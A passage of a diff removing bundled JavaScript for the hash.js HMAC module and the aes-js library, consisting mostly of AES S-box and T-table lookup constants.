"node_modules/hash.js/lib/hash/hmac.js"(exports, module) { - "use strict"; - var utils = require_utils2(); - var assert3 = require_minimalistic_assert2(); - function Hmac(hash3, key3, enc) { - if (!(this instanceof Hmac)) - return new Hmac(hash3, key3, enc); - this.Hash = hash3; - this.blockSize = hash3.blockSize / 8; - this.outSize = hash3.outSize / 8; - this.inner = null; - this.outer = null; - this._init(utils.toArray(key3, enc)); - } - module.exports = Hmac; - Hmac.prototype._init = function init3(key3) { - if (key3.length > this.blockSize) - key3 = new this.Hash().update(key3).digest(); - assert3(key3.length <= this.blockSize); - for (var i = key3.length; i < this.blockSize; i++) - key3.push(0); - for (i = 0; i < key3.length; i++) - key3[i] ^= 54; - this.inner = new this.Hash().update(key3); - for (i = 0; i < key3.length; i++) - key3[i] ^= 106; - this.outer = new this.Hash().update(key3); - }; - Hmac.prototype.update = function update3(msg, enc) { - this.inner.update(msg, enc); - return this; - }; - Hmac.prototype.digest = function digest(enc) { - this.outer.update(this.inner.digest()); - return this.outer.digest(enc); - }; - } - }); - - // node_modules/hash.js/lib/hash.js - var require_hash2 = __commonJS({ - "node_modules/hash.js/lib/hash.js"(exports) { - var hash3 = exports; - hash3.utils = require_utils2(); - hash3.common = require_common3(); - hash3.sha = require_sha2(); - hash3.ripemd = require_ripemd2(); - hash3.hmac = require_hmac2(); - hash3.sha1 = hash3.sha.sha1; - hash3.sha256 = hash3.sha.sha256; - hash3.sha224 = hash3.sha.sha224; - hash3.sha384 = hash3.sha.sha384; - hash3.sha512 = hash3.sha.sha512; - hash3.ripemd160 = hash3.ripemd.ripemd160; - } - }); - - // node_modules/aes-js/index.js - var require_aes_js = __commonJS({ - "node_modules/aes-js/index.js"(exports, module) { - "use strict"; - (function(root) { - function checkInt(value) { - return parseInt(value) === value; - } - function checkInts(arrayish) { - if (!checkInt(arrayish.length)) { - return false; - } - for (var i = 0; i < arrayish.length; i++) { - if (!checkInt(arrayish[i]) || arrayish[i] < 0 || arrayish[i] > 255) { - return false; - } - } - return true; - } - function coerceArray(arg, copy) { - if (arg.buffer && ArrayBuffer.isView(arg) && arg.name === "Uint8Array") { - if (copy) { - if (arg.slice) { - arg = arg.slice(); - } else { - arg = Array.prototype.slice.call(arg); - } - } - return arg; - } - if (Array.isArray(arg)) { - if (!checkInts(arg)) { - throw new Error("Array contains invalid value: " + arg); - } - return new Uint8Array(arg); - } - if (checkInt(arg.length) && checkInts(arg)) { - return new Uint8Array(arg); - } - throw new Error("unsupported array-like object"); - } - function createArray(length) { - return new Uint8Array(length); - } - function copyArray(sourceArray, targetArray, targetStart, sourceStart, sourceEnd) { - if (sourceStart != null || sourceEnd != null) { - if (sourceArray.slice) { - sourceArray = sourceArray.slice(sourceStart, sourceEnd); - } else { - sourceArray = Array.prototype.slice.call(sourceArray, sourceStart, sourceEnd); - } - } - targetArray.set(sourceArray, targetStart); - } - var convertUtf8 = /* @__PURE__ */ function() { - function toBytes(text) { - var result = [], i = 0; - text = encodeURI(text); - while (i < text.length) { - var c = text.charCodeAt(i++); - if (c === 37) { - result.push(parseInt(text.substr(i, 2), 16)); - i += 2; - } else { - result.push(c); - } - } - return coerceArray(result); - } - function fromBytes(bytes) { - var result = [], i = 0; - while (i < bytes.length) { - var c = bytes[i]; - if (c < 128) { - result.push(String.fromCharCode(c)); - i++; - } else if (c > 191 && c < 224) { - result.push(String.fromCharCode((c & 31) << 6 | bytes[i + 1] & 63)); - i += 2; - } else { - result.push(String.fromCharCode((c & 15) << 12 | (bytes[i + 1] & 63) << 6 | bytes[i + 2] & 63)); - i += 3; - } - } - return result.join(""); - } - return { - toBytes, - fromBytes - }; - }(); - var convertHex = /* @__PURE__ */ function() { - function toBytes(text) { - var result = []; - for (var i = 0; i < text.length; i += 2) { - result.push(parseInt(text.substr(i, 2), 16)); - } - return result; - } - var Hex = "0123456789abcdef"; - function fromBytes(bytes) { - var result = []; - for (var i = 0; i < bytes.length; i++) { - var v = bytes[i]; - result.push(Hex[(v & 240) >> 4] + Hex[v & 15]); - } - return result.join(""); - } - return { - toBytes, - fromBytes - }; - }(); - var numberOfRounds = { 16: 10, 24: 12, 32: 14 }; - var rcon = [1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145]; - var S = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]; - var Si = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125]; - var T1 = [3328402341, 4168907908, 4000806809, 4135287693, 4294111757, 3597364157, 3731845041, 2445657428, 1613770832, 33620227, 3462883241, 1445669757, 3892248089, 3050821474, 1303096294, 3967186586, 2412431941, 528646813, 2311702848, 4202528135, 4026202645, 2992200171, 2387036105, 4226871307, 1101901292, 3017069671, 1604494077, 1169141738, 597466303, 1403299063, 3832705686, 2613100635, 1974974402, 3791519004, 1033081774, 1277568618, 1815492186, 2118074177, 4126668546, 2211236943, 1748251740, 1369810420, 3521504564, 4193382664, 3799085459, 2883115123, 1647391059, 706024767, 134480908, 2512897874, 1176707941, 2646852446, 806885416, 932615841, 168101135, 798661301, 235341577, 605164086, 461406363, 3756188221, 3454790438, 1311188841, 2142417613, 3933566367, 302582043, 495158174, 1479289972, 874125870, 907746093, 3698224818, 3025820398, 1537253627, 2756858614, 1983593293, 3084310113, 2108928974, 1378429307, 3722699582, 1580150641, 327451799, 2790478837, 3117535592, 0, 3253595436, 1075847264, 3825007647, 2041688520, 3059440621, 3563743934, 2378943302, 1740553945, 1916352843, 2487896798, 2555137236, 2958579944, 2244988746, 3151024235, 3320835882, 1336584933, 3992714006, 2252555205, 2588757463, 1714631509, 293963156, 2319795663, 3925473552, 67240454, 4269768577, 2689618160, 2017213508, 631218106, 1269344483, 2723238387, 1571005438, 2151694528, 93294474, 1066570413, 563977660, 1882732616, 4059428100, 1673313503, 2008463041, 2950355573, 1109467491, 537923632, 3858759450, 4260623118, 3218264685, 2177748300, 403442708, 638784309, 3287084079, 3193921505, 899127202, 2286175436, 773265209, 2479146071, 1437050866, 4236148354, 2050833735, 3362022572, 3126681063, 840505643, 3866325909, 3227541664, 427917720, 2655997905, 2749160575, 1143087718, 1412049534, 999329963, 193497219, 2353415882, 3354324521, 1807268051, 672404540, 2816401017, 3160301282, 369822493, 2916866934, 3688947771, 1681011286, 1949973070, 336202270, 2454276571, 201721354, 1210328172, 3093060836, 2680341085, 3184776046, 1135389935, 3294782118, 965841320, 831886756, 3554993207, 4068047243, 3588745010, 2345191491, 1849112409, 3664604599, 26054028, 2983581028, 2622377682, 1235855840, 3630984372, 2891339514, 4092916743, 3488279077, 3395642799, 4101667470, 1202630377, 268961816, 1874508501, 4034427016, 1243948399, 1546530418, 941366308, 1470539505, 1941222599, 2546386513, 3421038627, 2715671932, 3899946140, 1042226977, 2521517021, 1639824860, 227249030, 260737669, 3765465232, 2084453954, 1907733956, 3429263018, 2420656344, 100860677, 4160157185, 470683154, 3261161891, 1781871967, 2924959737, 1773779408, 394692241, 2579611992, 974986535, 664706745, 3655459128, 3958962195, 731420851, 571543859, 3530123707, 2849626480, 126783113, 865375399, 765172662, 1008606754, 361203602, 3387549984, 2278477385, 2857719295, 1344809080, 2782912378, 59542671, 1503764984, 160008576, 437062935, 1707065306, 3622233649, 2218934982, 3496503480, 2185314755, 697932208, 1512910199, 504303377, 2075177163, 2824099068, 1841019862, 739644986]; - var T2 = [2781242211, 2230877308, 2582542199, 2381740923, 234877682, 3184946027, 2984144751, 1418839493, 1348481072, 50462977, 2848876391, 2102799147, 434634494, 1656084439, 3863849899, 2599188086, 1167051466, 2636087938, 1082771913, 2281340285, 368048890, 3954334041, 3381544775, 201060592, 3963727277, 1739838676, 4250903202, 3930435503, 3206782108, 4149453988, 2531553906, 1536934080, 3262494647, 484572669, 2923271059, 1783375398, 1517041206, 1098792767, 49674231, 1334037708, 1550332980, 4098991525, 886171109, 150598129, 2481090929, 1940642008, 1398944049, 1059722517, 201851908, 1385547719, 1699095331, 1587397571, 674240536, 2704774806, 252314885, 3039795866, 151914247, 908333586, 2602270848, 1038082786, 651029483, 1766729511, 3447698098, 2682942837, 454166793, 2652734339, 1951935532, 775166490, 758520603, 3000790638, 4004797018, 4217086112, 4137964114, 1299594043, 1639438038, 3464344499, 2068982057, 1054729187, 1901997871, 2534638724, 4121318227, 1757008337, 0, 750906861, 1614815264, 535035132, 3363418545, 3988151131, 3201591914, 1183697867, 3647454910, 1265776953, 3734260298, 3566750796, 3903871064, 1250283471, 1807470800, 717615087, 3847203498, 384695291, 3313910595, 3617213773, 1432761139, 2484176261, 3481945413, 283769337, 100925954, 2180939647, 4037038160, 1148730428, 3123027871, 3813386408, 4087501137, 4267549603, 3229630528, 2315620239, 2906624658, 3156319645, 1215313976, 82966005, 3747855548, 3245848246, 1974459098, 1665278241, 807407632, 451280895, 251524083, 1841287890, 1283575245, 337120268, 891687699, 801369324, 3787349855, 2721421207, 3431482436, 959321879, 1469301956, 4065699751, 2197585534, 1199193405, 2898814052, 3887750493, 724703513, 2514908019, 2696962144, 2551808385, 3516813135, 2141445340, 1715741218, 2119445034, 2872807568, 2198571144, 3398190662, 700968686, 3547052216, 1009259540, 2041044702, 3803995742, 487983883, 1991105499, 1004265696, 1449407026, 1316239930, 504629770, 3683797321, 168560134, 1816667172, 3837287516, 1570751170, 1857934291, 4014189740, 2797888098, 2822345105, 2754712981, 936633572, 2347923833, 852879335, 1133234376, 1500395319, 3084545389, 2348912013, 1689376213, 3533459022, 3762923945, 3034082412, 4205598294, 133428468, 634383082, 2949277029, 2398386810, 3913789102, 403703816, 3580869306, 2297460856, 1867130149, 1918643758, 607656988, 4049053350, 3346248884, 1368901318, 600565992, 2090982877, 2632479860, 557719327, 3717614411, 3697393085, 2249034635, 2232388234, 2430627952, 1115438654, 3295786421, 2865522278, 3633334344, 84280067, 33027830, 303828494, 2747425121, 1600795957, 4188952407, 3496589753, 2434238086, 1486471617, 658119965, 3106381470, 953803233, 334231800, 3005978776, 857870609, 3151128937, 1890179545, 2298973838, 2805175444, 3056442267, 574365214, 2450884487, 550103529, 1233637070, 4289353045, 2018519080, 2057691103, 2399374476, 4166623649, 2148108681, 387583245, 3664101311, 836232934, 3330556482, 3100665960, 3280093505, 2955516313, 2002398509, 287182607, 3413881008, 4238890068, 3597515707, 975967766]; - var T3 = [1671808611, 2089089148, 2006576759, 2072901243, 4061003762, 1807603307, 1873927791, 3310653893, 810573872, 16974337, 1739181671, 729634347, 4263110654, 3613570519, 2883997099, 1989864566, 3393556426, 2191335298, 3376449993, 2106063485, 4195741690, 1508618841, 1204391495, 4027317232, 2917941677, 3563566036, 2734514082, 2951366063, 2629772188, 2767672228, 1922491506, 3227229120, 3082974647, 4246528509, 2477669779, 644500518, 911895606, 1061256767, 4144166391, 3427763148, 878471220, 2784252325, 3845444069, 4043897329, 1905517169, 3631459288, 827548209, 356461077, 67897348, 3344078279, 593839651, 3277757891, 405286936, 2527147926, 84871685, 2595565466, 118033927, 305538066, 2157648768, 3795705826, 3945188843, 661212711, 2999812018, 1973414517, 152769033, 2208177539, 745822252, 439235610, 455947803, 1857215598, 1525593178, 2700827552, 1391895634, 994932283, 3596728278, 3016654259, 695947817, 3812548067, 795958831, 2224493444, 1408607827, 3513301457, 0, 3979133421, 543178784, 4229948412, 2982705585, 1542305371, 1790891114, 3410398667, 3201918910, 961245753, 1256100938, 1289001036, 1491644504, 3477767631, 3496721360, 4012557807, 2867154858, 4212583931, 1137018435, 1305975373, 861234739, 2241073541, 1171229253, 4178635257, 33948674, 2139225727, 1357946960, 1011120188, 2679776671, 2833468328, 1374921297, 2751356323, 1086357568, 2408187279, 2460827538, 2646352285, 944271416, 4110742005, 3168756668, 3066132406, 3665145818, 560153121, 271589392, 4279952895, 4077846003, 3530407890, 3444343245, 202643468, 322250259, 3962553324, 1608629855, 2543990167, 1154254916, 389623319, 3294073796, 2817676711, 2122513534, 1028094525, 1689045092, 1575467613, 422261273, 1939203699, 1621147744, 2174228865, 1339137615, 3699352540, 577127458, 712922154, 2427141008, 2290289544, 1187679302, 3995715566, 3100863416, 339486740, 3732514782, 1591917662, 186455563, 3681988059, 3762019296, 844522546, 978220090, 169743370, 1239126601, 101321734, 611076132, 1558493276, 3260915650, 3547250131, 2901361580, 1655096418, 2443721105, 2510565781, 3828863972, 2039214713, 3878868455, 3359869896, 928607799, 1840765549, 2374762893, 3580146133, 1322425422, 2850048425, 1823791212, 1459268694, 4094161908, 3928346602, 1706019429, 2056189050, 2934523822, 135794696, 3134549946, 2022240376, 628050469, 779246638, 472135708, 2800834470, 3032970164, 3327236038, 3894660072, 3715932637, 1956440180, 522272287, 1272813131, 3185336765, 2340818315, 2323976074, 1888542832, 1044544574, 3049550261, 1722469478, 1222152264, 50660867, 4127324150, 236067854, 1638122081, 895445557, 1475980887, 3117443513, 2257655686, 3243809217, 489110045, 2662934430, 3778599393, 4162055160, 2561878936, 288563729, 1773916777, 3648039385, 2391345038, 2493985684, 2612407707, 505560094, 2274497927, 3911240169, 3460925390, 1442818645, 678973480, 3749357023, 2358182796, 2717407649, 2306869641, 219617805, 3218761151, 3862026214, 1120306242, 1756942440, 1103331905, 2578459033, 762796589, 252780047, 2966125488, 1425844308, 3151392187, 372911126]; - var T4 = [1667474886, 2088535288, 2004326894, 2071694838, 4075949567, 1802223062, 1869591006, 3318043793, 808472672, 16843522, 1734846926, 724270422, 4278065639, 3621216949, 2880169549, 1987484396, 3402253711, 2189597983, 3385409673, 2105378810, 4210693615, 1499065266, 1195886990, 4042263547, 2913856577, 3570689971, 2728590687, 2947541573, 2627518243, 2762274643, 1920112356, 3233831835, 3082273397, 4261223649, 2475929149, 640051788, 909531756, 1061110142, 4160160501, 3435941763, 875846760, 2779116625, 3857003729, 4059105529, 1903268834, 3638064043, 825316194, 353713962, 67374088, 3351728789, 589522246, 3284360861, 404236336, 2526454071, 84217610, 2593830191, 117901582, 303183396, 2155911963, 3806477791, 3958056653, 656894286, 2998062463, 1970642922, 151591698, 2206440989, 741110872, 437923380, 454765878, 1852748508, 1515908788, 2694904667, 1381168804, 993742198, 3604373943, 3014905469, 690584402, 3823320797, 791638366, 2223281939, 1398011302, 3520161977, 0, 3991743681, 538992704, 4244381667, 2981218425, 1532751286, 1785380564, 3419096717, 3200178535, 960056178, 1246420628, 1280103576, 1482221744, 3486468741, 3503319995, 4025428677, 2863326543, 4227536621, 1128514950, 1296947098, 859002214, 2240123921, 1162203018, 4193849577, 33687044, 2139062782, 1347481760, 1010582648, 2678045221, 2829640523, 1364325282, 2745433693, 1077985408, 2408548869, 2459086143, 2644360225, 943212656, 4126475505, 3166494563, 3065430391, 3671750063, 555836226, 269496352, 4294908645, 4092792573, 3537006015, 3452783745, 202118168, 320025894, 3974901699, 1600119230, 2543297077, 1145359496, 387397934, 3301201811, 2812801621, 2122220284, 1027426170, 1684319432, 1566435258, 421079858, 1936954854, 1616945344, 2172753945, 1330631070, 3705438115, 572679748, 707427924, 2425400123, 2290647819, 1179044492, 4008585671, 3099120491, 336870440, 3739122087, 1583276732, 185277718, 3688593069, 3772791771, 842159716, 976899700, 168435220, 1229577106, 101059084, 606366792, 1549591736, 3267517855, 3553849021, 2897014595, 1650632388, 2442242105, 2509612081, 3840161747, 2038008818, 3890688725, 3368567691, 926374254, 1835907034, 2374863873, 3587531953, 1313788572, 2846482505, 1819063512, 1448540844, 4109633523, 3941213647, 1701162954, 2054852340, 2930698567, 134748176, 3132806511, 2021165296, 623210314, 774795868, 471606328, 2795958615, 3031746419, 3334885783, 3907527627, 3722280097, 1953799400, 522133822, 1263263126, 3183336545, 2341176845, 2324333839, 1886425312, 1044267644, 3048588401, 1718004428, 1212733584, 50529542, 4143317495, 235803164, 1633788866, 892690282, 1465383342, 3115962473, 2256965911, 3250673817, 488449850, 2661202215, 3789633753, 4177007595, 2560144171, 286339874, 1768537042, 3654906025, 2391705863, 2492770099, 2610673197, 505291324, 2273808917, 3924369609, 3469625735, 1431699370, 673740880, 3755965093, 2358021891, 2711746649, 2307489801, 218961690, 3217021541, 3873845719, 1111672452, 1751693520, 1094828930, 2576986153, 757954394, 252645662, 2964376443, 1414855848, 3149649517, 370555436]; - var T5 = [1374988112, 2118214995, 437757123, 975658646, 1001089995, 530400753, 2902087851, 1273168787, 540080725, 2910219766, 2295101073, 4110568485, 1340463100, 3307916247, 641025152, 3043140495, 3736164937, 632953703, 1172967064, 1576976609, 3274667266, 2169303058, 2370213795, 1809054150, 59727847, 361929877, 3211623147, 2505202138, 3569255213, 1484005843, 1239443753, 2395588676, 1975683434, 4102977912, 2572697195, 666464733, 3202437046, 4035489047, 3374361702, 2110667444, 1675577880, 3843699074, 2538681184, 1649639237, 2976151520, 3144396420, 4269907996, 4178062228, 1883793496, 2403728665, 2497604743, 1383856311, 2876494627, 1917518562, 3810496343, 1716890410, 3001755655, 800440835, 2261089178, 3543599269, 807962610, 599762354, 33778362, 3977675356, 2328828971, 2809771154, 4077384432, 1315562145, 1708848333, 101039829, 3509871135, 3299278474, 875451293, 2733856160, 92987698, 2767645557, 193195065, 1080094634, 1584504582, 3178106961, 1042385657, 2531067453, 3711829422, 1306967366, 2438237621, 1908694277, 67556463, 1615861247, 429456164, 3602770327, 2302690252, 1742315127, 2968011453, 126454664, 3877198648, 2043211483, 2709260871, 2084704233, 4169408201, 0, 159417987, 841739592, 504459436, 1817866830, 4245618683, 260388950, 1034867998, 908933415, 168810852, 1750902305, 2606453969, 607530554, 202008497, 2472011535, 3035535058, 463180190, 2160117071, 1641816226, 1517767529, 470948374, 3801332234, 3231722213, 1008918595, 303765277, 235474187, 4069246893, 766945465, 337553864, 1475418501, 2943682380, 4003061179, 2743034109, 4144047775, 1551037884, 1147550661, 1543208500, 2336434550, 3408119516, 3069049960, 3102011747, 3610369226, 1113818384, 328671808, 2227573024, 2236228733, 3535486456, 2935566865, 3341394285, 496906059, 3702665459, 226906860, 2009195472, 733156972, 2842737049, 294930682, 1206477858, 2835123396, 2700099354, 1451044056, 573804783, 2269728455, 3644379585, 2362090238, 2564033334, 2801107407, 2776292904, 3669462566, 1068351396, 742039012, 1350078989, 1784663195, 1417561698, 4136440770, 2430122216, 775550814, 2193862645, 2673705150, 1775276924, 1876241833, 3475313331, 3366754619, 270040487, 3902563182, 3678124923, 3441850377, 1851332852, 3969562369, 2203032232, 3868552805, 2868897406, 566021896, 4011190502, 3135740889, 1248802510, 3936291284, 699432150, 832877231, 708780849, 3332740144, 899835584, 1951317047, 4236429990, 3767586992, 866637845, 4043610186, 1106041591, 2144161806, 395441711, 1984812685, 1139781709, 3433712980, 3835036895, 2664543715, 1282050075, 3240894392, 1181045119, 2640243204, 25965917, 4203181171, 4211818798, 3009879386, 2463879762, 3910161971, 1842759443, 2597806476, 933301370, 1509430414, 3943906441, 3467192302, 3076639029, 3776767469, 2051518780, 2631065433, 1441952575, 404016761, 1942435775, 1408749034, 1610459739, 3745345300, 2017778566, 3400528769, 3110650942, 941896748, 3265478751, 371049330, 3168937228, 675039627, 4279080257, 967311729, 135050206, 3635733660, 1683407248, 2076935265, 3576870512, 1215061108, 3501741890]; - var T6 = [1347548327, 1400783205, 3273267108, 2520393566, 3409685355, 4045380933, 2880240216, 2471224067, 1428173050, 4138563181, 2441661558, 636813900, 4233094615, 3620022987, 2149987652, 2411029155, 1239331162, 1730525723, 2554718734, 3781033664, 46346101, 310463728, 2743944855, 3328955385, 3875770207, 2501218972, 3955191162, 3667219033, 768917123, 3545789473, 692707433, 1150208456, 1786102409, 2029293177, 1805211710, 3710368113, 3065962831, 401639597, 1724457132, 3028143674, 409198410, 2196052529, 1620529459, 1164071807, 3769721975, 2226875310, 486441376, 2499348523, 1483753576, 428819965, 2274680428, 3075636216, 598438867, 3799141122, 1474502543, 711349675, 129166120, 53458370, 2592523643, 2782082824, 4063242375, 2988687269, 3120694122, 1559041666, 730517276, 2460449204, 4042459122, 2706270690, 3446004468, 3573941694, 533804130, 2328143614, 2637442643, 2695033685, 839224033, 1973745387, 957055980, 2856345839, 106852767, 1371368976, 4181598602, 1033297158, 2933734917, 1179510461, 3046200461, 91341917, 1862534868, 4284502037, 605657339, 2547432937, 3431546947, 2003294622, 3182487618, 2282195339, 954669403, 3682191598, 1201765386, 3917234703, 3388507166, 0, 2198438022, 1211247597, 2887651696, 1315723890, 4227665663, 1443857720, 507358933, 657861945, 1678381017, 560487590, 3516619604, 975451694, 2970356327, 261314535, 3535072918, 2652609425, 1333838021, 2724322336, 1767536459, 370938394, 182621114, 3854606378, 1128014560, 487725847, 185469197, 2918353863, 3106780840, 3356761769, 2237133081, 1286567175, 3152976349, 4255350624, 2683765030, 3160175349, 3309594171, 878443390, 1988838185, 3704300486, 1756818940, 1673061617, 3403100636, 272786309, 1075025698, 545572369, 2105887268, 4174560061, 296679730, 1841768865, 1260232239, 4091327024, 3960309330, 3497509347, 1814803222, 2578018489, 4195456072, 575138148, 3299409036, 446754879, 3629546796, 4011996048, 3347532110, 3252238545, 4270639778, 915985419, 3483825537, 681933534, 651868046, 2755636671, 3828103837, 223377554, 2607439820, 1649704518, 3270937875, 3901806776, 1580087799, 4118987695, 3198115200, 2087309459, 2842678573, 3016697106, 1003007129, 2802849917, 1860738147, 2077965243, 164439672, 4100872472, 32283319, 2827177882, 1709610350, 2125135846, 136428751, 3874428392, 3652904859, 3460984630, 3572145929, 3593056380, 2939266226, 824852259, 818324884, 3224740454, 930369212, 2801566410, 2967507152, 355706840, 1257309336, 4148292826, 243256656, 790073846, 2373340630, 1296297904, 1422699085, 3756299780, 3818836405, 457992840, 3099667487, 2135319889, 77422314, 1560382517, 1945798516, 788204353, 1521706781, 1385356242, 870912086, 325965383, 2358957921, 2050466060, 2388260884, 2313884476, 4006521127, 901210569, 3990953189, 1014646705, 1503449823, 1062597235, 2031621326, 3212035895, 3931371469, 1533017514, 350174575, 2256028891, 2177544179, 1052338372, 741876788, 1606591296, 1914052035, 213705253, 2334669897, 1107234197, 1899603969, 3725069491, 2631447780, 2422494913, 1635502980, 1893020342, 1950903388, 1120974935]; - var T7 = [2807058932, 1699970625, 2764249623, 1586903591, 1808481195, 1173430173, 1487645946, 59984867, 4199882800, 1844882806, 1989249228, 1277555970, 3623636965, 3419915562, 1149249077, 2744104290, 1514790577, 459744698, 244860394, 3235995134, 1963115311, 4027744588, 2544078150, 4190530515, 1608975247, 2627016082, 2062270317, 1507497298, 2200818878, 567498868, 1764313568, 3359936201, 2305455554, 2037970062, 1047239e3, 1910319033, 1337376481, 2904027272, 2892417312, 984907214, 1243112415, 830661914, 861968209, 2135253587, 2011214180, 2927934315, 2686254721, 731183368, 1750626376, 4246310725, 1820824798, 4172763771, 3542330227, 48394827, 2404901663, 2871682645, 671593195, 3254988725, 2073724613, 145085239, 2280796200, 2779915199, 1790575107, 2187128086, 472615631, 3029510009, 4075877127, 3802222185, 4107101658, 3201631749, 1646252340, 4270507174, 1402811438, 1436590835, 3778151818, 3950355702, 3963161475, 4020912224, 2667994737, 273792366, 2331590177, 104699613, 95345982, 3175501286, 2377486676, 1560637892, 3564045318, 369057872, 4213447064, 3919042237, 1137477952, 2658625497, 1119727848, 2340947849, 1530455833, 4007360968, 172466556, 266959938, 516552836, 0, 2256734592, 3980931627, 1890328081, 1917742170, 4294704398, 945164165, 3575528878, 958871085, 3647212047, 2787207260, 1423022939, 775562294, 1739656202, 3876557655, 2530391278, 2443058075, 3310321856, 547512796, 1265195639, 437656594, 3121275539, 719700128, 3762502690, 387781147, 218828297, 3350065803, 2830708150, 2848461854, 428169201, 122466165, 3720081049, 1627235199, 648017665, 4122762354, 1002783846, 2117360635, 695634755, 3336358691, 4234721005, 4049844452, 3704280881, 2232435299, 574624663, 287343814, 612205898, 1039717051, 840019705, 2708326185, 793451934, 821288114, 1391201670, 3822090177, 376187827, 3113855344, 1224348052, 1679968233, 2361698556, 1058709744, 752375421, 2431590963, 1321699145, 3519142200, 2734591178, 188127444, 2177869557, 3727205754, 2384911031, 3215212461, 2648976442, 2450346104, 3432737375, 1180849278, 331544205, 3102249176, 4150144569, 2952102595, 2159976285, 2474404304, 766078933, 313773861, 2570832044, 2108100632, 1668212892, 3145456443, 2013908262, 418672217, 3070356634, 2594734927, 1852171925, 3867060991, 3473416636, 3907448597, 2614737639, 919489135, 164948639, 2094410160, 2997825956, 590424639, 2486224549, 1723872674, 3157750862, 3399941250, 3501252752, 3625268135, 2555048196, 3673637356, 1343127501, 4130281361, 3599595085, 2957853679, 1297403050, 81781910, 3051593425, 2283490410, 532201772, 1367295589, 3926170974, 895287692, 1953757831, 1093597963, 492483431, 3528626907, 1446242576, 1192455638, 1636604631, 209336225, 344873464, 1015671571, 669961897, 3375740769, 3857572124, 2973530695, 3747192018, 1933530610, 3464042516, 935293895, 3454686199, 2858115069, 1863638845, 3683022916, 4085369519, 3292445032, 875313188, 1080017571, 3279033885, 621591778, 1233856572, 2504130317, 24197544, 3017672716, 3835484340, 3247465558, 2220981195, 3060847922, 1551124588, 1463996600]; - var T8 = [4104605777, 1097159550, 396673818, 660510266, 2875968315, 2638606623, 4200115116, 3808662347, 821712160, 1986918061, 3430322568, 38544885, 3856137295, 718002117, 893681702, 1654886325, 2975484382, 3122358053, 3926825029, 4274053469, 796197571, 1290801793, 1184342925, 3556361835, 2405426947, 2459735317, 1836772287, 1381620373, 3196267988, 1948373848, 3764988233, 3385345166, 3263785589, 2390325492, 1480485785, 3111247143, 3780097726, 2293045232, 548169417, 3459953789, 3746175075, 439452389, 1362321559, 1400849762, 1685577905, 1806599355, 2174754046, 137073913, 1214797936, 1174215055, 3731654548, 2079897426, 1943217067, 1258480242, 529487843, 1437280870, 3945269170, 3049390895, 3313212038, 923313619, 679998e3, 3215307299, 57326082, 377642221, 3474729866, 2041877159, 133361907, 1776460110, 3673476453, 96392454, 878845905, 2801699524, 777231668, 4082475170, 2330014213, 4142626212, 2213296395, 1626319424, 1906247262, 1846563261, 562755902, 3708173718, 1040559837, 3871163981, 1418573201, 3294430577, 114585348, 1343618912, 2566595609, 3186202582, 1078185097, 3651041127, 3896688048, 2307622919, 425408743, 3371096953, 2081048481, 1108339068, 2216610296, 0, 2156299017, 736970802, 292596766, 1517440620, 251657213, 2235061775, 2933202493, 758720310, 265905162, 1554391400, 1532285339, 908999204, 174567692, 1474760595, 4002861748, 2610011675, 3234156416, 3693126241, 2001430874, 303699484, 2478443234, 2687165888, 585122620, 454499602, 151849742, 2345119218, 3064510765, 514443284, 4044981591, 1963412655, 2581445614, 2137062819, 19308535, 1928707164, 1715193156, 4219352155, 1126790795, 600235211, 3992742070, 3841024952, 836553431, 1669664834, 2535604243, 3323011204, 1243905413, 3141400786, 4180808110, 698445255, 2653899549, 2989552604, 2253581325, 3252932727, 3004591147, 